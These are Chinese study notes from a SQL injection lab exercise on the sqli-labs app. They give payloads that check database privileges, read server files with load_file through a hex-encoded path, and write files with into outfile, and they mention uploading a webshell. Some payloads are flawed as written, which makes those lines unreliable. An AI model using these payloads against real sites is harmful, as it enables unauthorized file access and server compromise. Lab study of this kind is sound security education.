SQL注入中的读些文件函数以及读些文件条件
读(导出)文件函数
函数名称
load_file(file_name)
使用条件
- 用户有权限读取 && 文件是可读的
- 读取文件在服务器上(可以理解为文件名是存在的)
- 必须指定完整路径(路径要正确)
- 读取文件小于max_allowed_packet(该文件不能超过sql文件里规定的文件大小)
演示环节
已sqli_labs第1关为例
测试当前数据库用户是否有管理员权限
- 通过 and (select count(*) from mysql.user)>0--+
页面正常显示则代表当前数据库用户是root权限
读(导出)文件
系统下的常用路径:https://www.cnblogs.com/lcamry/p/5729087.html
本次环境安装在phpstudy上,假设已知道mysql的安装路径为:D:\phpstudy_pro\Extensions\MySQL5.7.26
-
union select 1,loadfile(D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini),3
暂不清楚什么原因,倒不出来 -
union select 1,load_file(0x443a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69),3
文件名的格式
1.转换为16进制
0x443a2f70687073747564795f70726f2f457874656e73696f6e732f4d7953514c352e372e32362f6d792e696e69
2.路径中的/用 \ \代替
load_file(D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini)
不知为什么没起作用
3.用char函数将ascii转换为字母
char(44,3a,2f,70,68,70,73,74,75,64,79,5f,70,72,6f,2f,45,78,74,65,6e,73,69,6f,6e,73,2f,4d,79,53,51,4c,35,2e,37,2e,32,36,2f,6d,79,2e,69,6e,69)
写文件函数
函数名称
into_outfile
语句使用:select 命令 into outfile "路径"
使用条件
- 路径目录必须有读写权限
- 文件名必须唯一
演示环节
已sqli_labs第7关为例
关于测注入点输入'(单引号)网页报错,说明有注入点;用' and 1=1--+,页面报错,尝试闭合处的构造,使用')) and 1=1--+构造成功。
上传一句话木马
页面提示错误,但是上传文件是能访问到的!